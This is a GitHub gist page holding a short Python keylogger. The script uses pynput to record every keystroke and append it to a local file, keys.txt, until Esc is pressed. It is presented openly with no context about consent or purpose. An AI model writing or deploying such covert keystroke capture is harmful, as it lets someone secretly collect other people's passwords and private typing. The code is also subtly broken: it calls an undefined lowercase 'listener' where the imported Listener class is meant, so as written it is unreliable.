Created
October 23, 2020 06:56
-
-
Save Abhayparashar31/ba0cdc4e0b4e943698b77dfacf3f8b92 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from pynput.keyboard import Key, Controller,Listener | |
| import time | |
| keyboard = Controller() | |
| keys=[] | |
| def on_press(key): | |
| global keys | |
| #keys.append(str(key).replace("'","")) | |
| string = str(key).replace("'","") | |
| keys.append(string) | |
| main_string = "".join(keys) | |
| print(main_string) | |
| if len(main_string)>15: | |
| with open('keys.txt', 'a') as f: | |
| f.write(main_string) | |
| keys= [] | |
| def on_release(key): | |
| if key == Key.esc: | |
| return False | |
| with listener(on_press=on_press,on_release=on_release) as listener: | |
| listener.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment